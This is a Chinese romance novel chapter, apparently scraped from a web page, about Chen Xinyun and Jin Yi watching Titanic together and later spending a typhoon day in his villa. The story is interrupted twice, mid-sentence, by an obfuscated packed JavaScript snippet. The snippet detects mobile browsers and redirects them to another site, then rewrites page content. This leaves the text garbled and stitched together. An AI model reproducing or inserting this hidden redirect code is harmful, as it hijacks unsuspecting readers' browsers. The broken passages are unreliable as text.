他说完,在手机上操作两下,龙标就在白布上面显现了。 两人莫名看起了《泰坦尼克号》。 沙发背忽然缓慢向后倒靠,身下坐垫还开启了按摩模式,金翊这人真是完全不会在生活享乐上面苛待自己,花钱大手大脚,怎么舒服怎么来。 她想起上次看这部电影,还是在何成的出租屋里,沙发是二手的,沙发套还是她买的。 朋友说她就是大小姐生活过够了,想去找点生活的毒打才看上何成那种穷小子。 自己那时是怎么想的呢?妈妈常年在国外,纵使有心,也没法在身边提供拥抱安慰这些情绪价值。爸爸大部分时间端庄又稳重,偶尔容许她亲热撒娇,却又不能过头,她有时还挺怕他的。 何成刚出现的时候,又温柔又有耐心,她情窦初开,心底的情绪又无处宣泄,当时就被感动极了。 现在从这段感情跳出来看,两人家世相差太远,生活习惯,日常花销总总方面都不合。她大小姐脾气重,而何成作为独生子,大男人主义也重。 金翊把她压在秋千上的那个徬晚,跳出来的那条消息就是何成发的,让她还钱。 他算的不是恋爱期间的花销,因为要真算起来,陈歆韵花的更多,他算的居然是他提供的情绪价值服务,连喝矿泉水都是他拧的瓶盖这种小事也算上了。 他们在一起时,何成就经常说“你看我对你多好,我妈对你多好”这种话,呵呵,原来是为了今天。 她当时回了句,贱人。然后花了两个晚上把恋爱期间所有的花销都算出来,一瓶水都掰成两半算,要何成还钱,不还就去起诉他。 脑袋上忽然有点痛,陈歆韵揉揉脑袋,金翊的一双大手浮现在眼前。 看到陈歆韵回过神来,金翊才把手放下:“你怎么一直在分神?” 说完,他把果盘推过来,橘皮和橘络都已经剥干净了,盘子里的果肉饱满澄澈。 陈歆韵看着那盘果肉,表情有点耐人寻味。 金翊说:“别那么看着我,我洗手了。还有饮料和蛋糕。”他又把手背后的东西推出来,一杯气泡水和一小块蛋糕出现在眼前。 “不是,你什么时候去洗手还拿这些东西过来的?” “你发呆的时候啊。我刚才问你要不要吃,你又没回我,我就去隔壁服务中心顺过来的。” 陈歆韵的表情还是有些复杂:“谢谢你。晚上回去我就帮你画图样。” 金翊皱了下眉:“怎么这么客气?” 他朝陈歆韵坐得靠近了些,伸出大手捏了捏她的脸:“你这个小番薯怎么总计较这些事?昨天还要给我转伙食费跟生活费,害我寻思一晚上,我是不是哪里照顾你和阿嬷照顾的不好。” 陈歆韵罕见地没有挥开他的手,就这么呆呆看着他。 她的脸是标准的巴掌小脸,脸颊的肉软软的,在金翊粗粝的大手下泛着点红,双眼依旧透着执着认真:“你收下吧,这样我安心点。” 金翊把手弹开,坐远了些,咳嗽了两声:“那我还不安心呢。我就是喜欢伺候人,就是喜欢别人来我家里住,给别人做饭。图男、黄威龙他们住了这么多年,我都没收钱,你的也不可能收。” “我就是爱看别人在我家住得开心,吃我做的饭开心,尤其是,”他停了一下,捏了捏气泡水里的吸管,“你……和阿嬷吃饭的时候,开心的样子。” 他别扭的样子和温吞的语气,让陈歆韵脑子轰的一下炸开。金翊这些天的举动,她隐约察觉出一些端倪,但始终不能确定。 毕竟他是那么阳光开朗,阔气又大方,游客路经他家,敲敲门说他房子好看,他都能带人从一楼到四楼、前院后院逛个遍,晚上还要请人家免费住。他对所有人都好,所以她从未细想心里的那种感觉。 可是金翊刚才说的话是不是太具有指向性了?她是不是能仔细细想一下这些话? 旧窗帘隐隐掩着窗户,礼堂有些昏暗,几束阳光斜照在桌子上,空气里只有跳跃的尘埃和沉默。 金翊还在低头捏着吸管,陈歆韵语气松快地说:“你就剩一只手还能干挺多事的。” 她到底还是把话题扯开了,细想,现实也不容许她细想。 金翊抓起饮料瓶,深吸了几口,气泡在嘴里炸开,那种酥麻感一路爽到头皮,他冲陈歆韵粲然一笑:“只是手臂断了,又不是手指,我能做的事多了去了。” 他又把视线转回荧幕上,荧幕里Rose正站在船头张开双臂,面带绝望地向下跳。 他嚷嚷起来:“唉,怎么就跳了呢?前面的剧情都没看呢,倒回去看一下。” 陈歆韵摇摇头,低声说:“不影响的,前面的剧情不影响后面故事的发展。” 她的声音很低,金翊却听得很清楚,他点点头:“嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129765|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个下午,两个人在昏暗的电影院里,看了将近四个小时的《泰坦尼克号》。 陈歆韵终于把最后两个小时看完了,她和金翊伴随着Jack和Rose,一起经历了从触礁直到沉船的全过程。 这个版本的亲密戏并没有删减,她中途还觉得有些尴尬,悄悄抬眼瞄金翊的时候,发现他的神情专注又认真,跟他做饭的时候一样,眼神里没有尴尬或者故意闪躲,整个人完全沉浸在了剧情里。 她也逐渐放开了,把所有情绪都投入在电影上,导致大结局的时候哭得稀里哗啦的。 Rose一根一根掰着Jack的指头,忍痛放弃他,看着他坠入深海时,她忍不住想向旁边的人倾诉,没想到一转头就和金翊四目相对,他的眼睛又大又亮,里面有很明显的水光。她还没张口,就见金翊整个人窝在沙发上。 他在膝上抱着一个大靠枕,弯腰侧头靠在靠枕上,撅着嘴巴,委屈满脸地说:“我不想继续看了。” 像只大狗熊缩起来在哭。 陈歆韵没忍住笑了,金翊居然是这样的人?! 她没忍住,用手指捏了捏他的后颈:“晚了。” “接受你三个小时前选择的结果吧。” 到电影结束,金翊都没有回过神来,他嘴巴向下撇着,哭湿了两包纸。 陈歆韵情绪抽离的很快,虽然还有些伤感,但不至于像金翊这样。她无奈,只能够顺着他的后背,一下一下抚着,金翊抽着抽着,无意中就往她的怀里靠。 真没想到这个大男人泪腺居然这么低,她只好继续把人抱着,慢慢帮他顺气,边拍边说,像哄小孩子一样:“好啦,这就是部电影嘛。” 电影终了,耳边响起窸窸窣窣的说话声,还有板凳挪动的碰地声,陈歆韵猛地向后望去,才发现电影院里不知何时来了其他的观众。 有的是刚才社区服务中心的大爷大妈,还有一些本地人,这些人自带了木椅子或塑料凳子。还有一些明显是岛外游客的装扮,他们或盘腿坐在地上,或坐在露营椅上。 两人看得太投入,没注意到后面陆陆续续来了这么些人。许多人的眼眶中也有隐隐泪光,甚至角落还有两个小情侣,嘴巴难舍难分地贴在一起。 她的脑子轰的一下炸开,红晕迅速爬上脸蛋,我靠,她怀里还抱着个金翊! 她赶忙把人推开,却根本推不动这个大狗熊,她咳嗽了两声,佯怒道:“别逼我扇你。” 金翊马上把身体移开了,用双手擦了擦脸,昂起头来,眼眶还是红的:“绝情的女人,人一多你就想撇清跟我的关系是吧?” 他怕是拍视频拍上瘾了,戏瘾大发,她伸手在他胸上使劲捶了一下,反正他也不会痛:“赶紧收拾收拾回家吃饭。” 金翊单手就把桌上的东西三两下收拾好,等他俩走时,那对小情侣还是难舍难分地黏在一起。 回程路上,天边红得不像话,火烧云如烈火一般席卷整个天空,他们骑着边三轮,好像行驶在世界边缘,宇宙随时会崩塌。 临睡觉前,金翊来她房间检查了所有门窗,大小事宜无巨细地交代了一遍。 半夜,陈歆韵被一阵雷声惊醒,看到窗外的棕榈树以不正常的姿势弯下腰,疾风暴雨肆虐着,雨点哔啵炸响,像有成千上万只青蛙撞在窗户上一样。 台风真的来了。 17. 爱怎会满足 无所事事是台风天的奢侈。 风雨里的别墅很有南洋悠远旧梦的韵味。陈歆韵不喜欢开灯,就着一杯热咖啡,窝在淡蓝色的房间角落,对着金翊给的花砖在平板上勾勒线条。 她的用眼习惯极不好,勾勾画画几个小时,眼眶已经发酸了。她抬头望向窗外,热夏岛屿的雨暴虐急骤,棕榈树狂乱舞动,大片大片的雨组成帷幕,阻隔了视线,明明身在岛上,天空和海洋却遥不可及。 陈歆韵把笔放下,揉了揉疲惫的眼睛。大雨下了一整天,青绿色的别墅变得哀郁沉寂。 陈歆韵抿了口咖啡,嘴唇感到一阵温热,她忽然在想,金翊现在在干嘛? 从海员俱乐部回来之后,暴雨台风一刻也不停歇。好在家里已经准备了充足的物资应对这种天气。她、外婆还有金翊三人,这些天除了吃饭、晚间闲聊时聚在一起外,其余时间她都躲在房间里画画。 金翊曾敲过房门,邀请她一起打游戏还有给火球洗澡,都被她以要画画拒绝了。金翊每次都欣然接受她的拒绝,表情不怒不恼,从来都是和煦又温柔,但是拒绝两次之后,他就再也没有主动找过她了。 陈歆韵拿起笔,继续勾勒刚才断掉的线条。勾了两笔,却越画越歪,她啧了一声,把笔和平板都摔到床上。 接着她抱起腿,把脸埋在臂弯里,缩在藤椅上摇摇晃晃,艳红色的波浪卷发在暗青调的房间中显得色泽深沉,包裹在她周身。 陈歆韵真是受够了自己这样无比矫情、欲拒还迎的样子。金翊主动又有眼力见,被拒绝了就不再打扰她,日常生活还是把她照顾得无微不至。同一屋檐下,既不尴尬也不至疏离,多完美又冷酷的暧昧对象。 自己倒开始犯贱了,在这抓心挠肝的,怪他怎么不来找自己。多无理取闹啊,但她心里甚至滋生了怪金翊不懂她的无理取闹的想法。 空气和绿色的窗栅栏都是潮湿的,滞涩闷热,好像来到了热带雨林。空气中都是水分,这些水分汇聚成一道河流,流向了二楼那间书房。 雨哒哒哒砸在窗户上,快把陈歆韵的脑袋撞烂了,雨要是再不停下,她怕忍不住大声尖叫。 她不想和金翊在一起,也不想见金翊,但此刻却无比想他。 没纠结多久,陈歆韵起身打开房门,步上楼梯。 金翊会不会觉得她很奇怪?觉得她反复无常?心里这么惴惴不安地想着,陈歆韵走到了有着青色花纹线条的房门口。 门口对着一面窗玻璃,陈歆韵看到玻璃中那张明艳美貌的脸庞,一双眼睛细长又迷人,把她自己都看入迷了。 她抬手理了理头发,又绕着几缕发丝在指尖转动。 这镜子里的人怎么越看越好看呢?她突然觉得,呵,她来找金翊是他的幸运,至于金翊怎么想的,关她什么事。 她越看越喜欢,顾影自怜了一会儿,又变成昂扬的小鹦鹉,神气十足地敲了敲房门。 门开得迅速,她还没反应过来,眼睛就对上了一双宽阔饱满的胸膛。 每次金翊出现在眼前,她都不得不昂头看他,不然就不得不直视这个地方。 金翊看到她来,有些吃惊:“什么事情?” “你给火球洗完澡了?” 像是没想到她敲门就为了这事,金翊有点茫然,顺势应了声:“嗯。” 陈歆韵抬头看他,眼睛里没有什么特别的情绪,没有探究的疑问,也没有不好意思的茫然,好像就是在一个若无其事的午后,想来找他便来了。她说完这句话后就站在门口,没再说什么。 她的到来虽然突兀,不过金翊在开门后始终笑得温柔灿烂。他很快让开身体,让陈歆韵进来。 陈歆韵拿起桌上的一本书:“金老板很有格调嘛,在雨天看纪伯伦。” “什么味道?”陈歆韵皱着眉头在空气里闻了闻。金翊笑着把书抽过来,沿着她拿起的轨迹,放到一碗泡面上。 “因为这本是硬皮书封。” ……原来是在盖泡面。 “你还会在书房吃东西?不怕弄脏吗?” “没关系,没那个讲究,脏了擦一下就好,贵重的东西我会放好的。” 这碗泡面最终还是进了陈歆韵嘴里,因为闻着香,她忽然食欲大动,就想吃。 金翊很大方:“想吃就吃。” 她刚想说自己去厨房拿个小碗,嘴巴已经被塞进一坨面了。金翊手里拿着叉子,另一手端着碗,顺势把这些都放到陈歆韵怀里。 陈歆韵也不客气,就着金翊拿叉子的手吸溜一下,把泡面都吃进去,接着抱起泡面碗大快朵颐起来。 金翊拿着那本纪伯伦诗集靠在窗户边上,粗粝的手指翻过一页纸。他眉目深邃,表情淡淡时气质深沉,窗外疾风骤雨,他这漫不经心的姿势,看起来像是一位饱览群书,优雅博学的海岛诗人。 陈歆韵架着腿在旁边吸溜泡面,嘴唇一前一后地鼓动着,像只小仓鼠。她边吃,一边盯着金翊。 金翊不仅家境雄厚,生活能力拉满,还这么有文学造诣。在台风天的窗户旁低头看诗集的样子,真的好有氛围感。 陈歆韵就是那种不能抵抗氛围感的人,她觉得金翊此时分外迷人。 其实金翊一个字也没看进去,读了一遍也看不懂。这叽里咕噜的一大堆在说什么呢?“昨日是今日的回忆,明日是今日的幻梦。”那不就是嘛,这样的话他也会写诗,昨天是今天的昨天,明天是今天的明天。 粗粝的指尖又捻过一页纸。看到这页时,他的眉目变得松快,好像在品诗中顿悟了人生哲学,一副释然的表情。 毛线,这页还是看不懂。 两人好像有点疏远了,从陈歆韵进来到现在,他们都没怎么说过话。 “你们看这些外国诗的,是找共鸣,还是欣赏文笔比较多呢?” “你平时不看吗?” “不啊,我又不是文学专业的,顶多看一些专业书籍吧。” “我以为你们意大利的留学生,对这些比较有研究。” “比起这个,我对意大利面比较有研究。” 啪,金翊单手合上书本,把那本诗选丢到窗台上,从窗边优雅地踱步到陈歆韵面前坐下。 “我也研究过一段时间,我发现加沙爹酱也很好吃,明天做给你吃。” 金翊明显对面的话题更感兴趣,也从不会让他们之间的话落地。话题就这么自然而然地拐弯到食物上。越说陈歆韵越馋,觉得单单的泡面很素。 金翊接过她的泡面桶:“你等一下,我去楼下厨房给你加个蛋和鸡肉。” 陈歆韵窝在小沙发上,皱着眉头,想说点什么,又有些不好意思开口。 她犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129766|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫豫地:“反正你都下去了……” “顺便给你泡一杯茉莉花茶上来。” 金翊接过话,又点点头,觉得自己还是有点了解陈歆韵的,不禁挂上了个笑容。 金翊走后,陈歆韵在窗边翻开那本纪伯伦的诗集。 书签夹着的那页,只有一首诗,三行字: “爱除自身外,既无施与,也无索取。” “爱既不占有,也不被占有。” “因为爱仅以爱为满足。” 爱以爱为满足,既不占有,也不被占有,既无施与,也无索取。 陈歆韵把这句话低低重复了一遍,觉得跟金翊这个人很是契合。他就是这样一个温润、持中,愿意付出却不强求占有的人,原来这是金翊的爱情观吗? 怪不得她进,金翊会进得更猛烈,然而她退,金翊也会马上退到底线之外,不再打扰。 可这不是她想要的吗?难道她在拒绝金翊的同时,其实渴望他再靠近一点,再强势一点?随后她兀自狠狠摇头,她才没这么口是心非呢。 怎么说呢,跟金翊这种人呆在一起会让人变得患得患失。她不受控制地想金翊对她是什么感觉?说喜欢也能算喜欢,但也不是那么喜欢,所以不喜欢也可以马上不喜欢吗?喜欢这两个字在她脑子里面绕来绕去的,快把她绕晕了。 先让别人患得患失的大小姐,根本就没有思考过自己的原因。她把书放回原位,转身打量起了书房,上次没看仔细,这次她打算好好巡视一下这个房间。 金翊说过,贵重的东西他收在了房间里,别墅里的其他任何东西,她都可以随意翻看,弄坏了,弄脏了也不要紧。金翊就是这样,做错了不要紧,弄坏了也没关系,反正他会修好,他会弄干净。 即便如此,陈歆韵还是很小心的,尽量不要碰到他已经修复好的那些花砖。 书房里只有靠近门那侧有柜子,她打开来一看究竟,却被眼前的东西惊得张开了嘴巴。 她抵给金翊的包包安静地立在柜子里。 当时她让金翊在网上挂个二手,不过也没去问具体下落。金翊把它好好地放在了柜子里。 当初的划痕没有被掩盖掉,反而从划痕里长出了许多蜿蜒的绿藤蔓与鲜红的花朵。是刺桐花,南方特色的花卉。 她跟金翊初见时的火车站外,刺桐花就鲜艳如烈火,花开满泉州。花与叶被以简体画的形式,被金翊画在了包包的划痕旁边。 陈歆韵看向那扇长长的窗户,好像看到了金翊穿着背心,拿着画笔,在包上安静画画的模样。 咔哒一声,房门被推开,金翊端着个托盘,里面有一个瓷碗和一杯茉莉花茶。瓷碗中的泡面上窝着个溏心蛋,排着切口整齐的松板肉,还有一对嫩黄鸡翅。 两人四目相对,陈歆韵的动作还维持在拉开包包口、手往里面伸的模样,活像个小偷。 “我就看一下你对我的包怎么样,弄得还挺好看的。”她讪讪地笑了两声,把包包推回去,关上柜子。 “好看你也不能拿回去。”金翊轻笑了下,一手端着托盘,另一手随意地靠在柜子上,俯身对陈歆韵说:“说给我了就是我的。” 陈歆韵拿起托盘上的茉莉花茶喝了两口,眼神没敢看金翊。她想她这辈子都不会告诉金翊,这个包是她前男友送她的一周年纪念礼物。